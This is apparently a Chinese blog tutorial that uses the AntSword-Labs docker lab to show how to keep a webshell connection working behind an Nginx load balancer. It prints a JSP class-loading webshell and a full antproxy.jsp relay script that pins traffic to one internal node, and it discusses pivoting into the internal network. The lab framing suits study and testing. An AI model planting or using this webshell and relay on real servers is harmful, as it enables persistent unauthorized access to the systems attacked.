负载均衡下Webshell连接思路及难点

君衍.

  • 一、应用场景
  • 二、环境搭建
  • 三、思路以及难点
    • 1、查看内部结构
    • 2、查看webshell
    • 3、使用蚁剑进行连接
    • 4、难点1 shell文件上传问题
    • 5、难点2 命令执行时飘逸
    • 6、难点3 大工具上传失败
    • 7、难点4 脚本失效
  • 四、解决方式
    • 1、关闭对方节点服务器
    • 2、基于IP地址判断是否执行
    • 3、脚本实现流量转发
      • 3.1 创建antproxy.jsp脚本
      • 3.2 修改 Shell 配置

一、应用场景

负载均衡是一种分布式计算或网络服务的技术,旨在将工作负载(请求、数据等)均匀分配到多个服务器或网络资源上,以提高整体系统的性能、可靠性和可扩展性。同时负载均衡也是如今解决Web应用承载大流量访问问题得一种普遍方案,实现负载均衡也有多种方式,比如购买负载均衡设备、Nginx实现负载均衡、DNS负载均衡以及IP散列等方式。那么今天我们主要探讨的问题便是在负载均衡环境下进行webshell连接。
首先我们可以看下基于DNS的负载均衡:
在这里插入图片描述
还有nginx的基于反向代理实现的负载均衡:
在这里插入图片描述
我们本篇重点就在反向代理方式,也就是不能直接访问到跑着具体业务的某个节点的情况。
反向代理方式最典型的也就是Nginx所实现的负载均衡,所以,我们首先来看Nginx支持的几种负载均衡方式:

名称策略
轮询(默认)按请求顺序逐一分配
weight根据权重分配
ip_hash根据客户端IP分配
least_conn根据连接数分配
fair (第三方)根据响应时间分配
url_hash (第三方)根据URL分配

这里典型的主要是轮询以及加权,像这种ip_hash以及url_hash这种固定访问到某个节点的情况我们就没有必要再进行讨论了,所以这里我们使用默认轮询的方式来进行演示,演示环境为AntSword-Labs。本篇我们来看在负载均衡情况下进行上传Webshell的思路,首先我们来搭建环境。

二、环境搭建

准备环境: Ubuntu虚拟机、Docker环境、蚁剑
这里我使用Ubuntu虚拟机版本为22.04版本:

apt-get install docker.io
docker -v

在这里插入图片描述
靶场环境我们使用蚁剑作者提供的docker镜像来演示:
https://github.com/AntSwordProject/AntSword-Labs
在这里插入图片描述
这里我们可以先下载到本机,然后上传至虚拟机,如果嫌配置代理麻烦的话。

unzip AntSword-Labs-master.zip
mv AntSword-Labs-master ant # 这里我改个名字

在这里插入图片描述
下面我们到执行目录来启动靶场环境,同时它会自动拉取镜像:

cd /root/ant/loadbalance/loadbalance-jsp
docker-compose up -d

在这里插入图片描述
我们拉去完毕可以进行查看下:

docker ps -a

在这里插入图片描述
上面三个我们可以看到创建完毕,同时最后那个是我之前进行docker环境测试时候创建的。
自此,我们的环境搭建完毕,下面我们来看负载均衡环境下webshell连接思路以及难点

三、思路以及难点

1、查看内部结构

首先这里我们可以查看下它的compose文件:
在这里插入图片描述
在这里我们可以看到nginx的80端口映射到了主机的18080端口上,同时我们访问your-ip:8080就可以访问到这个环境下的web服务,也可以看到node1以及node2均是tomcat8。
在这里插入图片描述
同时在这个环境下已经上传好了脚本,上图我们可以假设在真实的业务系统下,这里是没有配置页面而已,同时这个业务系统存在一个RCE远程命令执行漏洞,我们已经上传好了脚本,可以获取webshell。

2、查看webshell

这里我们可以查看下上传脚本的位置:

docker ps -a
docker exec -it c995f68db10b /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
exit
docker exec -it 62fbc5b31021 /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
cat ant.jsp
exit

在这里插入图片描述
这里我们很明显可以看到很明显是一个webshell,因为上面有一个接收参数,通过接收参数ant,我们可以连接到上面一串木马。我们只需用蚁剑连就行。他这里我们发现每个节点都有木马,其实上传至一个节点,我们进行多次保存也可以实现多个节点都有。

3、使用蚁剑进行连接

在这里插入图片描述
在这里插入图片描述
完成后点击添加,就可以连接到我们的webshell了。

4、难点1 shell文件上传问题

这里我们以及上传完毕webshell,两台都上传了,所以我们在打开使用时不会出现任何错误,那如果我们只上传一台节点,我们可以来看下这种情况:
(这里我们可以先让一台节点的webshell失效)

root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS                    PORTS                                     NAMES
1be0cf1882e9   nginx:1.17                 "nginx -g 'daemon of…"   31 minutes ago   Up 31 minutes             0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
c995f68db10b   loadbalance-jsp_lbsnode1   "catalina.sh run"        31 minutes ago   Up 31 minutes             8080/tcp                                  loadbalance-jsp-lbsnode1-1
62fbc5b31021   loadbalance-jsp_lbsnode2   "catalina.sh run"        31 minutes ago   Up 31 minutes             8080/tcp                                  loadbalance-jsp-lbsnode2-1
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# find  / -name ant.jsp
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@c995f68db10b:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 12
drwxr-xr-x 2 root root 4096 Jan 29 03:46 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root  316 May 17  2021 ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 20
drwxr-xr-x 1 root root 4096 Jan 29 04:20 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root  316 May 17  2021 ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# 

在这里插入图片描述
在这里插入图片描述
此时我们退出来重新连接会发现刷新目录报错了,这其实是因为我们刷新的时候请求被解析到这台我们修改过的节点服务器上,同时上面没有我们上传上去的脚本文件,所以访问不到,报错代码为404。所以这里如何让我们的webshell分布在各个节点服务器上这个是第一个问题。

这里其实我们也可以做个实验,我们在一台服务器上保存一个文件会发现这个文件时存在时不存在,也可以说明这个问题。

解决: 这里我们多保存几次即可,刷新到脚本目录下狂点保存其实也是可以做到的。所以这个相较于还是比较简单的。

5、难点2 命令执行时飘逸

好的,首先我们先还原服务器:

root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# exitexit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# 

下面我们来看在负载均衡环境下执行命令所遇到的问题,这里会发生漂移现象,不知道命令在哪一台服务器上执行。我们这里到蚁剑上的虚拟终端执行命令:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到一条查看IP地址的命令却发生了结果是变化的,我们就会发现这是在负载均衡的轮询方式下IP的变化,如果在权重方式,节点服务器增多,可能我们就无迹可寻。

当然这里由于在docker环境下,所以很多命令没有安装,ifconfig从而无法使用,这里我们需要在节点服务器上进行安装net-tools,如果在真实的场景下肯定是有ifconfig这个命令的。

6、难点3 大工具上传失败

这里我们在渗透时,需要上传一些工具时必然的,但是由于蚁剑上传文件时,采用的是分片上传,将一个文件分为多个片发送给目标,也就是会发送多个数据包,所以这里我们遇到一个问题,在两台甚至多台节点上,可能会有我们工具的一小部分,至于组合来源于LBS算法。所以这将是我们面临的一个大的问题。
在这里插入图片描述

7、难点4 脚本失效

由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网。

在这里插入图片描述
上图是regerg运行的原理图,但是由于我们的节点服务器会不断变化,所以也就会使攻击者与部署了regerg的主机之间不能保持完整的连接时间,也就无法实现与内网的连接。所以这样的环境下,使用内网工具进行部署也是一个难点。

四、解决方式

在解决第一个难点我们这里其实是可以进行多次保存。来实现webshell上传至所有节点服务器上的。所以我们这里着重讨论剩下几个难点。

1、关闭对方节点服务器

由于对于企业的服务器一个有漏洞,可能几乎剩下的节点服务器上都存在着相同的漏洞,所以这里我们有个最作死的思路就是,渗透进所有节点服务器,将节点服务器关闭,保留一台,这个想法肯定是可以解决我们的问题,但是人在不在就不一定了。

这里我们先不说权限是否足够,一般是情况下是不够的,但是这个实验的环境是docker,所以我们这里是root权限,肯定是足够的,但是,如果在真实的环境中,这里一般不会是root权限,同时,一般企业都有运维人员,同时存在着管理系统,如果一台服务器关闭了,必然会影响别人的业务,同时触发报警,那么毫无疑问,准备承担法律责任,所以这个方法比较作死,但是确实可以解决,风险巨大。

2、基于IP地址判断是否执行

这里我们可能会想到,如果我们在每次执行命令之前,先判断主机的IP地址,不就可以解决命令飘逸,所以这里我们需要写一个shell脚本,同时由于该环境后端是tomcat,所以java也可以。这里我是用shell。

1、由于该环境位于docker,没有ifconfig这个命令,所以这里我们先安装这个命令。

root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                  CREATED             STATUS                    PORTS                                     NAMES
1be0cf1882e9   nginx:1.17                 "nginx -g 'daemon of…"   About an hour ago   Up About an hour          0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
c995f68db10b   loadbalance-jsp_lbsnode1   "catalina.sh run"        About an hour ago   Up About an hour          8080/tcp                                  loadbalance-jsp-lbsnode1-1
62fbc5b31021   loadbalance-jsp_lbsnode2   "catalina.sh run"        About an hour ago   Up About an hour          8080/tcp                                  loadbalance-jsp-lbsnode2-1
113629a6f8e6   hello-world                "/hello"                 14 hours ago        Exited (0) 14 hours ago                                             eloquent_cohen
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# apt-get update
······
root@c995f68db10b:/usr/local/tomcat# apt-get install net-tools
······
root@c995f68db10b:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.2  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ac:12:00:02  txqueuelen 0  (Ethernet)
        RX packets 4429  bytes 29895346 (29.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3968  bytes 233047 (233.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@c995f68db10b:/usr/local/tomcat# docker exec -it 62fbc5b31021 /bin/bash
bash: docker: command not found
root@c995f68db10b:/usr/local/tomcat# exit
exit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it 62fbc5b31021 /bin/bash
root@62fbc5b31021:/usr/local/tomcat# apt-get update
······
root@62fbc5b31021:/usr/local/tomcat# apt-get install net-tools
······
root@62fbc5b31021:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.3  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ac:12:00:03  txqueuelen 0  (Ethernet)
        RX packets 4219  bytes 29869959 (29.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3218  bytes 186078 (186.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@62fbc5b31021:/usr/local/tomcat# 

到这里我们已经在两台服务器上都安装了ifconfig这个命令,如下图:
在这里插入图片描述
下面我们将使用grep将IP地址筛选出来:

ifconfig | grep 'inet 172' | awk '{print $2}'

在这里插入图片描述
好的,接下来我们编写shell脚本来完成对IP地址的判断,从而完成命令基于IP地址的执行。
(这里判断完IP地址对于命令执行我们使用id来代表所需执行的命令)
所以下面这个shell就是我们所需的脚本:

#!/bin/bash
 
MYIP=$(ifconfig | grep "inet 172" | awk '{print $2}' | cut -d'/' -f1)
 
if [ "$MYIP" = "172.18.0.2" ]; then
    echo "execute command"
    id
else
    echo "try again!!!!"
fi

在这里插入图片描述
在这里插入图片描述
疯狂保存,才可成功,
下面我们增加执行权限。也是多点几次,使他能在两个服务器都执行

chmod +x demo.sh

在这里插入图片描述
在这里插入图片描述
这样我们是能确保我们执行的命令在我们想要的机器上,但是这样执行命令挺麻烦,甚至时常蚁剑的中断内运行会出现问题,在真机上测试正常,所以不推荐使用。

3、脚本实现流量转发

我们使用蚁剑确实没法直接去访问LBSnode1内网IP的8080端口,但是除了nginx访问外,LBSnode2服务器可以访问node1的8080端口。也就是说我们可以写一个脚本来判断流量的目的IP地址,判断不是node1,就将流量转发到node1的ant.jsp即可,这样可以实现稳定连接。
在这里插入图片描述
如上图所示,我们可以看到内网的两台节点服务器是可以进行相互通信的。

curl http://172.18.0.3:8080 -X HEAD -v

所以我们的转发过程大概如下如所示:
在这里插入图片描述
这里我们看这张图,可以看到首先连接请求到达nginx进行负载均衡,然后交给节点服务器进行处理,交给node1,那么它就会访问antproxy.jsp文件,将流量转发到172.18.0.2节点上的ant.jsp,同时如果交给node2,那么它就会访问节点2的antproxy.jsp文件,同样将流量转发给172.18.0.2节点上的ant.jsp文件,从而实现稳定的通信。

3.1 创建antproxy.jsp脚本

这里我们修改转发地址,转发至node的内网IP的目标脚本,访问地址。
在这里插入图片描述
在这里插入图片描述
脚本如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.18.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

注意:

  • a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
  • b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本。

3.2 修改 Shell 配置

同时将 URL 部分填写为 antproxy.jsp 的地址
在这里插入图片描述
这下我们进行查看IP地址测试,看还会是否飘逸:
在这里插入图片描述
这里我们可以看到IP地址已经停止飘逸了,也就是说,我们可以稳定连接到节点服务器1了。
在这里插入图片描述
这里我们可以查看下tomcat的日志,可以看到访问成功的数据日志。

tail localhost_access_log.2024-01-29.txt

Node1 和 Node2 通过相互访问 Node1 上的 /ant.jsp 文件,符合 nginx 在此时的负载均衡(LBS)策略。

  • 在优点方面,这种方法具有低权限即可完成的特点。即使权限较高,仍可以通过端口层面直接转发,但与 Plan A 关闭服务的效果相似。在流量方面,该方法仅影响访问 WebShell 的请求,不会影响其他正常业务请求。此外,这种方式还能适配更多的工具。
  • 然而,存在一些缺点。该方案要求“目标 Node”和“其他 Node”之间建立内网互通,如果无法实现内网互通,该方案将失效。因此,确保内网通信安全的加固方案至关重要。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/357839.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【重磅发布】已开放!模型师入驻、转格式再升级、3D展示框架全新玩法…

1月23日&#xff0c;老子云正式发布全新版本。此次新版本包含多板块功能上线和升级&#xff0c;为用户带来了含模型师入驻、三维格式在线转换升级、模型免费增值权益开放、全新3D展示框架等一系列精彩内容&#xff01; 1月23日&#xff0c;老子云正式发布全新版本。此次新版本…

【英语趣味游戏】填字谜(Crossword)第2天

谜题出处 柯林斯字谜大全&#xff08;6&#xff09;&#xff0c;Collins——Big Book of Crosswords (Book 6) Puzzle Number: 115 本期单词 横向 1、Fetch (8) 拿&#xff0c;取&#xff0c;8个字母 答案&#xff1a;Retrieve&#xff0c;取到&#xff0c;拿回 5、Common s…

【Java程序设计】【C00171】基于SSM的智慧篮球馆预约管理系统(论文+PPT)

基于SSM的智慧篮球馆预约管理系统&#xff08;论文PPT&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于ssm的智慧篮球馆预约管理系统 本系统分为前台、管理员以及学生3个功能模块。 前台&#xff1a;当游客打开系统的网址后&#xff0c;首先看到…

Python网络爬虫实战——实验3:Python爬虫之文字验证码实战

【实验内容】 本实验主要介绍在网络爬虫数据采集的过程中出现的常见的验证码反爬手段以及解决措施。 【实验目的】 1、理解验证码反爬的背景&#xff1b; 2、掌握常见文字验证码反爬手段&#xff1b; 3、研究解决文字验证码反爬的方法&#xff1b; 【实验步骤】 步骤1 调研…

LeetCode —— 43. 字符串相乘

&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️Take your time ! &#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️&#x1f636;‍&#x1f32b;️…

延伸与应用(五)企业家、网络经济,犯罪经济学、医疗保障经济学、资源经济

65&#xff0e;企业家与企业家精神 企 业 家 精 神 &#xff08; entrepreneurship &#xff09; 一 词 &#xff0c; 源 于 法 文 的 企 业 家&#xff08;entrepreneur&#xff09;这个单词。之后&#xff0c;经济学家不断地发现&#xff0c;其实企业家所代表的打拼与创新的精…

CCF CSP 202312-1仓库规划

题目描述 样例 输入 4 2 0 0 -1 -1 1 2 0 -1 输出 3 1 0 3 基本思路 暴力求解&#xff0c;使用二维数组存储所有仓库信息&#xff1b;针对每个仓库&#xff0c;遍历其他所有的仓库查找满足条件的上级仓库&#xff0c;有就输出查找到的第一个仓库编码&#xff0c;没有就输出…

redis—Zset有序集合

目录 前言 1.常见命令 2.使用场景 3.渐进式遍历 4.数据库管理 前言 有序集合相对于字符串、列表、哈希、集合来说会有一-些陌生。它保留了集合不能有重复成员的 特点&#xff0c;但与集合不同的是&#xff0c;有序集合中的每个元素都有-个唯- -的浮 点类型的分数(score) …

OJAC近屿智能张立赛博士揭秘GPT Store:技术创新、商业模式与未来趋势

Look&#xff01;&#x1f440;我们的大模型商业化落地产品&#x1f4d6;更多AI资讯请&#x1f449;&#x1f3fe;关注Free三天集训营助教在线为您火热答疑&#x1f469;&#x1f3fc;‍&#x1f3eb; 亲爱的伙伴们&#xff1a; 1月31日晚上8:30&#xff0c;由哈尔滨工业大学的…

使用PowerBI 基于Adventure Works案例分析

Adventure Works案例分析 前言 数据时代来临&#xff0c;但一个人要顺应时代的发展是真理。 数据分析的核心要素 那数分到底是什么&#xff1f; 显然DT 并不等同于 IT&#xff0c;我们需要的不仅仅是更快的服务器、更多的数据、更好用的工具。这些都是重要的组成部分&…

JavaWeb后端登录校验功能(JWT令牌技术,Cookie技术,Session,拦截技术,过滤器)

目录 一.登录校验功能&#xff08;解决直接通过路径访问&#xff09; 1.实现思路 二.会话技术 ​编辑 1.Cookie技术 2.Session 3.令牌技术 1.简介 2.如何生成和解析 3.令牌的使用 三.Filter过滤器 1.什么是过滤器 2.实现步骤&#xff1a; 3.过滤器执行流程 4.拦截路径 5.过…

可视化大屏何必亲自上手,不懂代码不懂设计项目照样干

hello家人们...本人熟悉PS、Xd、Ai、Sketch、Figma、墨刀、即时设计、mastergo、Pixso等行业设计软件以及前端开发等技能&#xff0c;拥有10年的UI经验&#xff0c;我们可以通过关注评论私信交流以帮助到您解决UI工作中的烦恼&#xff01;谢谢 可视化大屏何必亲自上手&#xff…

string的基本概念及常用接口

string的基本概念 本质&#xff1a; string时C风格的字符串&#xff0c;而string本质上是一个类。 string和char*的区别&#xff1a; char*是一个字符指针。而string是一个类&#xff0c;类内部封装了char*&#xff0c;管理这个字符串&#xff0c;是一个char*型的容器。 特…

【C++】类和对象(一)

前言&#xff1a;在前面我们带大家初步步入了C&#xff0c;让大家大概知道了他的样子&#xff0c;那今天就可以说我们要正式步入C的大门了&#xff0c;这一章内容的细节比较多各位学习的时候一定要仔细。 &#x1f496; 博主CSDN主页:卫卫卫的个人主页 &#x1f49e; &#x1f…

【amis低代码前端框架】vue2集成百度低代码前端框架amis

什么是amis&#xff1a;amis 是一个低代码前端框架&#xff0c;它使用 JSON 配置来生成页面&#xff0c;可以减少页面开发工作量&#xff0c;极大提升效率。 第一步&#xff1a;下载amis 命令行内执行以下命令下载安装amis npm i amis第二步&#xff1a;下载完毕amis后 将nod…

Habitat环境学习一:导航任务概述

导航任务 概述&#xff1a; Agent需要导航到环境中的指定位置&#xff0c;而该位置可以由特定的目标形式指定。 PointGoal Navigation&#xff1a;导航到环境中相对于初始位置特定的点&#xff1b; Object Navigation&#xff1a;Agent需要在环境中找到特定的物体&#xff1…

快递堆成山怎么办?快递管理系统来啦~

大型企业中每天都有数不清的快递往来&#xff0c;一线行政、财务、采购和后勤人员经常就快递问题大倒苦水&#xff1a; 员工寄件收件用花名、昵称&#xff0c;人员和快递很难对应&#xff1b; 前台一个个手动通知员工取件&#xff0c;还是会错拿忘拿&#xff1b; 员工私件公寄、…

[Grafana]ES数据源Alert告警发送

简单的记录一下使用es作为数据源&#xff0c;如何在发送告警是带上相关字段 目录 前言 一、邮件配置 二、配置 1.Query 2.Alerts 总结 前言 ES作为数据源&#xff0c;算是Grafana中比较常见的&#xff0c;Alerts告警是我近期刚接触&#xff0c;有一个需求是当表空间大于…

【Linux操作系统】:Linux开发工具编辑器vim

目录 Linux 软件包管理器 yum 什么是软件包 注意事项 查看软件包 如何安装软件 如何卸载软件 Linux 开发工具 Linux编辑器-vim使用 vim的基本概念 vim的基本操作 vim正常模式命令集 插入模式 插入模式切换为命令模式 移动光标 删除文字 复制 替换 撤销 跳至指…

方法、数组

方法 是语句的集合&#xff0c;在一起执行一个功能 它是解决一类问题的步骤的有序集合 包含于类或对象中 在程序中创建&#xff0c;在其他地方被引用 设计方法的原则&#xff1a;方法的本意是功能块&#xff0c;就是实现某一个功能的语句块的集合。设计时&#xff0c;最好保持…
最新文章